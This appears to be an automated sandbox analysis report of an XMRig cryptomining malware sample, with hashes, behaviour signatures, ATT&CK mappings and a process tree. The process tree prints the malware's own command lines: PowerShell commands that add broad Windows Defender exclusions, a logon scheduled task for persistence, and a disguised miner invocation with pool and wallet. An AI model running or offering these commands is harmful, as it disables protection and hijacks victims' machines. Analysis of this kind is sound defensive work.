xmrig | 98ced6e951485c45ebdeda3bbc04bd2918867e0490900b39789d9b4637a7409c

Analysis

max time kernel
1200s
max time network
1187s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
04/09/2024, 18:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

test.exe
Size

29.7MB
MD5

531a4e282c420c64d7b545a9c4e0fb4d
SHA1

998d298e9ff967bec6f03bf8e8e8f03b4b3728db
SHA256

98ced6e951485c45ebdeda3bbc04bd2918867e0490900b39789d9b4637a7409c
SHA512

c1d8296e2ba1e1ca9e1860548b884414e2cde06c584c40a4306d248b9c9ccbbff7e55a717d742ea14cc849db41838cfa6feb7638d888c627ff95abcb13df6730
SSDEEP

786432:k99QkndbvqJ6+eH57FU4hxLq54xTxyCuYWQzJ2Mbvn:i1nM8hHxPhxO5iTECuYWQzJ7bv

Score

10^/10

xmrig execution miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral1/memory/2412-164-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2412-167-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2412-172-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2412-173-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2412-171-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2412-170-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2412-169-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2412-221-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2412-229-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2412-228-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3696	powershell.exe
1008	powershell.exe
4092	powershell.exe
2988	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4352	services64.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\services64.exe	conhost.exe
File opened for modification	C:\Windows\system32\services64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	conhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2608 set thread context of 2412	2608	conhost.exe	90

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\1601268389\715946058.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\4183903823\2290032291.pri	taskmgr.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings	taskmgr.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3820	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2988	powershell.exe
2988	powershell.exe
2988	powershell.exe
3696	powershell.exe
3696	powershell.exe
3696	powershell.exe
1008	powershell.exe
1008	powershell.exe
1008	powershell.exe
4092	powershell.exe
4092	powershell.exe
4092	powershell.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
2412	svchost.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
2412	svchost.exe
2412	svchost.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
2412	svchost.exe
2412	svchost.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
2412	svchost.exe
2412	svchost.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
2412	svchost.exe
2412	svchost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4628	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2988	powershell.exe
Token: SeIncreaseQuotaPrivilege	2988	powershell.exe
Token: SeSecurityPrivilege	2988	powershell.exe
Token: SeTakeOwnershipPrivilege	2988	powershell.exe
Token: SeLoadDriverPrivilege	2988	powershell.exe
Token: SeSystemProfilePrivilege	2988	powershell.exe
Token: SeSystemtimePrivilege	2988	powershell.exe
Token: SeProfSingleProcessPrivilege	2988	powershell.exe
Token: SeIncBasePriorityPrivilege	2988	powershell.exe
Token: SeCreatePagefilePrivilege	2988	powershell.exe
Token: SeBackupPrivilege	2988	powershell.exe
Token: SeRestorePrivilege	2988	powershell.exe
Token: SeShutdownPrivilege	2988	powershell.exe
Token: SeDebugPrivilege	2988	powershell.exe
Token: SeSystemEnvironmentPrivilege	2988	powershell.exe
Token: SeRemoteShutdownPrivilege	2988	powershell.exe
Token: SeUndockPrivilege	2988	powershell.exe
Token: SeManageVolumePrivilege	2988	powershell.exe
Token: 33	2988	powershell.exe
Token: 34	2988	powershell.exe
Token: 35	2988	powershell.exe
Token: 36	2988	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeIncreaseQuotaPrivilege	3696	powershell.exe
Token: SeSecurityPrivilege	3696	powershell.exe
Token: SeTakeOwnershipPrivilege	3696	powershell.exe
Token: SeLoadDriverPrivilege	3696	powershell.exe
Token: SeSystemProfilePrivilege	3696	powershell.exe
Token: SeSystemtimePrivilege	3696	powershell.exe
Token: SeProfSingleProcessPrivilege	3696	powershell.exe
Token: SeIncBasePriorityPrivilege	3696	powershell.exe
Token: SeCreatePagefilePrivilege	3696	powershell.exe
Token: SeBackupPrivilege	3696	powershell.exe
Token: SeRestorePrivilege	3696	powershell.exe
Token: SeShutdownPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeSystemEnvironmentPrivilege	3696	powershell.exe
Token: SeRemoteShutdownPrivilege	3696	powershell.exe
Token: SeUndockPrivilege	3696	powershell.exe
Token: SeManageVolumePrivilege	3696	powershell.exe
Token: 33	3696	powershell.exe
Token: 34	3696	powershell.exe
Token: 35	3696	powershell.exe
Token: 36	3696	powershell.exe
Token: SeDebugPrivilege	2608	conhost.exe
Token: SeDebugPrivilege	1008	powershell.exe
Token: SeIncreaseQuotaPrivilege	1008	powershell.exe
Token: SeSecurityPrivilege	1008	powershell.exe
Token: SeTakeOwnershipPrivilege	1008	powershell.exe
Token: SeLoadDriverPrivilege	1008	powershell.exe
Token: SeSystemProfilePrivilege	1008	powershell.exe
Token: SeSystemtimePrivilege	1008	powershell.exe
Token: SeProfSingleProcessPrivilege	1008	powershell.exe
Token: SeIncBasePriorityPrivilege	1008	powershell.exe
Token: SeCreatePagefilePrivilege	1008	powershell.exe
Token: SeBackupPrivilege	1008	powershell.exe
Token: SeRestorePrivilege	1008	powershell.exe
Token: SeShutdownPrivilege	1008	powershell.exe
Token: SeDebugPrivilege	1008	powershell.exe
Token: SeSystemEnvironmentPrivilege	1008	powershell.exe
Token: SeRemoteShutdownPrivilege	1008	powershell.exe
Token: SeUndockPrivilege	1008	powershell.exe
Token: SeManageVolumePrivilege	1008	powershell.exe
Token: 33	1008	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe
4628	taskmgr.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 4760 wrote to memory of 508	4760	test.exe	73
PID 4760 wrote to memory of 508	4760	test.exe	73
PID 4760 wrote to memory of 508	4760	test.exe	73
PID 508 wrote to memory of 4248	508	conhost.exe	74
PID 508 wrote to memory of 4248	508	conhost.exe	74
PID 508 wrote to memory of 2648	508	conhost.exe	75
PID 508 wrote to memory of 2648	508	conhost.exe	75
PID 2648 wrote to memory of 3820	2648	cmd.exe	78
PID 2648 wrote to memory of 3820	2648	cmd.exe	78
PID 4248 wrote to memory of 2988	4248	cmd.exe	79
PID 4248 wrote to memory of 2988	4248	cmd.exe	79
PID 4248 wrote to memory of 3696	4248	cmd.exe	81
PID 4248 wrote to memory of 3696	4248	cmd.exe	81
PID 508 wrote to memory of 1568	508	conhost.exe	82
PID 508 wrote to memory of 1568	508	conhost.exe	82
PID 1568 wrote to memory of 4352	1568	cmd.exe	84
PID 1568 wrote to memory of 4352	1568	cmd.exe	84
PID 4352 wrote to memory of 2608	4352	services64.exe	85
PID 4352 wrote to memory of 2608	4352	services64.exe	85
PID 4352 wrote to memory of 2608	4352	services64.exe	85
PID 2608 wrote to memory of 976	2608	conhost.exe	86
PID 2608 wrote to memory of 976	2608	conhost.exe	86
PID 976 wrote to memory of 1008	976	cmd.exe	88
PID 976 wrote to memory of 1008	976	cmd.exe	88
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 2608 wrote to memory of 2412	2608	conhost.exe	90
PID 976 wrote to memory of 4092	976	cmd.exe	91
PID 976 wrote to memory of 4092	976	cmd.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\test.exe
"C:\Users\Admin\AppData\Local\Temp\test.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4760
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\test.exe"
  2⤵
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:508
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3696
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2648
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3820
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Windows\system32\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1568
  - - C:\Windows\system32\services64.exe
      C:\Windows\system32\services64.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4352
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
        5⤵
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2608
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4092
      - C:\Windows\System32\svchost.exe
        
        C:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:3333 --user=47nUe8D3z4bjgwqG9v4tKY3sBMcoEdvQ3iJMC8A8udU7DngaeR7hNhKETaaQD1iWhadw6j9iNWqf6fKiVcMy35kdVbxAzyD --pass= --cpu-max-threads-hint=60 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=80 --tls --cinit-stealth
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2412

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4628

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
646B

MD5
bf38f16ed068942cc8702d531b1650e5

SHA1
36c09a518beeb0db3d7e4cad6c2bbf1bc4f5ed90

SHA256
72c9c0870bfec80a95bb63038304da81999329f6343e6b8069149ca535d49e10

SHA512
1cbd6c7777301f24fd8cb2335004377370a8a24fadb0fa4bc61de814dd39a058ff2f419cefd462f30322eceb1ff17d3cd7cf1af97a8f1aaa3d00595129104368

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
ad5cd538ca58cb28ede39c108acb5785

SHA1
1ae910026f3dbe90ed025e9e96ead2b5399be877

SHA256
c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

SHA512
c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b783059311d7328ede7eda577b57aea1

SHA1
a44bfd9620dce8dfd21f32c914418793613ac0e2

SHA256
edb331b6f541b3ed25ccebce21a68d387172e921a346f50be0607603cae82792

SHA512
c7f6065f48d2989c217e14b8f7b52c031c2817c37358b8175d346e0f1e3a96a8d904fd7b782f850373db01fccc5b45168512b7f53676eda9597f5719cd380c89

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5d923fce79e54a4ebaea99fad3df064f

SHA1
3af4022afe01f60600ce23725098e22fe3106c80

SHA256
e071c100a5c958e649d64eb4395b9cb9a49a1add8bac909854b1533ca3382eb4

SHA512
cf65f9d2a436856b6210b586922978c27d956cda39b042a5f966452c68cd769a1f28d5b457f1ff494bd370492111aa1ebd3da7e938ed8ff7d1000e7c8226fac3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7743155f18c510ac0a11f9f1095b2bf0

SHA1
08ca9769d271b2ea3c8b4561259b66e354db54ff

SHA256
984e2bdeaf8e50c76b4d5506ab77f1a475c9709626ca0e7b5f427abe6b819262

SHA512
5aa4c0aa0c3aa231f74918c6a4016d70a8d291d20e09abcbdcbf92121a9577e4cbc410e86183feb75c290332d2117f7bf2c9bad65b82cc2c6a6c05a42e2d8cb4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_syqnrcml.aql.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Windows\System32\services64.exe

Filesize
29.7MB

MD5
531a4e282c420c64d7b545a9c4e0fb4d

SHA1
998d298e9ff967bec6f03bf8e8e8f03b4b3728db

SHA256
98ced6e951485c45ebdeda3bbc04bd2918867e0490900b39789d9b4637a7409c

SHA512
c1d8296e2ba1e1ca9e1860548b884414e2cde06c584c40a4306d248b9c9ccbbff7e55a717d742ea14cc849db41838cfa6feb7638d888c627ff95abcb13df6730

Download Submit
memory/508-102-0x00007FFCAC3F0000-0x00007FFCACDDC000-memory.dmp

Filesize
9.9MB

Download
memory/508-6-0x00007FFCAC3F0000-0x00007FFCACDDC000-memory.dmp

Filesize
9.9MB

Download
memory/508-3-0x00007FFCAC3F3000-0x00007FFCAC3F4000-memory.dmp

Filesize
4KB

Download
memory/508-13-0x00007FFCAC3F0000-0x00007FFCACDDC000-memory.dmp

Filesize
9.9MB

Download
memory/508-12-0x00007FFCAC3F0000-0x00007FFCACDDC000-memory.dmp

Filesize
9.9MB

Download
memory/508-10-0x000001C89ACA0000-0x000001C89ACAA000-memory.dmp

Filesize
40KB

Download
memory/508-101-0x00007FFCAC3F3000-0x00007FFCAC3F4000-memory.dmp

Filesize
4KB

Download
memory/508-0-0x000001C8954C0000-0x000001C897276000-memory.dmp

Filesize
29.7MB

Download
memory/508-109-0x00007FFCAC3F0000-0x00007FFCACDDC000-memory.dmp

Filesize
9.9MB

Download
memory/508-9-0x000001C89AC60000-0x000001C89AC72000-memory.dmp

Filesize
72KB

Download
memory/508-7-0x000001C8B5310000-0x000001C8B70C6000-memory.dmp

Filesize
29.7MB

Download
memory/2412-171-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2412-164-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2412-168-0x00000245EB890000-0x00000245EB8B0000-memory.dmp

Filesize
128KB

Download
memory/2412-167-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2412-172-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2412-173-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2412-170-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2412-169-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2412-221-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2412-229-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2412-228-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2988-18-0x0000014B3AF20000-0x0000014B3AF42000-memory.dmp

Filesize
136KB

Download
memory/2988-21-0x0000014B3B1E0000-0x0000014B3B256000-memory.dmp

Filesize
472KB

Download